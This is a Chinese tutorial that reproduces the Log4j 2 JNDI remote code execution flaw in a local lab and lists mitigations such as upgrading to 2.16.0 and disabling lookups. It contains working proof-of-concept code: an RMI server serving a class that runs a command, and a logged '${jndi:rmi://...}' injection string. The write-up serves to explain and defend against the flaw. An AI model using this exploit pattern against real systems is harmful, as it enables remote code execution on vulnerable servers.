12 月 10 日凌晨,Apache 开源项目 Log4j 由于远程代码执行漏洞的细节被披露, Log4j 一旦被攻击者广泛使用,漏洞将造成严重伤害。
Apache Log4j 2.x <= 2.14.1 平均版本会受到影响。
Log4j 是一款开源 Java 日记工具。Log4j 2 是对 Log4j 这次漏洞的重大升级正是用来的 Log4j 2 提供的 lookup 由功能允许开发人员通过一些协议阅读相应环境中的配置。但在实现过程中,没有严格判断输入,导致漏洞。
- maven 依赖
<dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-core</artifactId> <version>2.14.1</version> </dependency>
值得注意的是,springboot 项目中, spring-boot-starter 中日志启动器 spring-boot-starter-logging 使用的是 log4j-api,而 log4j-api 不在漏洞范围内,所以需要手动排除 spring-boot-starter 中 spring-boot-starter-logging 加上以上依赖。
这是默认情况spring-boot 2.6.1版本对 log4j 使用情况:
可见只用 log4j-api。
修改过 pom 文件后 log4j 使用情况:
这次漏洞才能复制。
- 示例代码
package com.cui.log4jtest.rmi; import java.io.IOException; public class EvilObj {
static {
System.out.println("在这执行的"); System.out.println("open a Calculator!"); try {
Runtime.getRuntime().exec("calc"); } catch (IOException e) {
e.printStackTrace();
}
}
}
package com.cui.log4jtest.rmi;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer {
public static void main(String[] args) {
try {
LocateRegistry.createRegistry(1099);
Registry registry = LocateRegistry.getRegistry();
System.out.println("Create RMI registry on port 1099");
Reference reference = new Reference("", "com.cui.log4jtest.rmi.EvilObj", "");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("evil", referenceWrapper);
} catch (Exception e) {
e.printStackTrace();
}
}
}
package com.cui.log4jtest.rmi;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Main {
private static final Logger LOGGER = LogManager.getLogger();
public static void main(String[] args) {
// String username = "${java:vm}";
String username = "${jndi:rmi://127.0.0.1:1099/evil}";
LOGGER.error("hello, {}", username);
}
}
首先运行 RMIServer,之后运行 Main。
可以看到,EvilObj 被调用了。
- client 可以获取服务器的某些信息,通过 JNDI 远程加载类
- client 向服务器注入恶意代码
- 升级到log4j 2.16.0及以上
- 添加jvm启动参数-Dlog4j2.formatMsgNoLookups=true
- 修改配置文件log4j2.formatMsgNoLookups=True
- 修改环境变量FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为true
- 关闭应用对外的网络连接
关于配置项的问题,可以参考源码org.apache.logging.log4j.core.pattern.MessagePatternConverter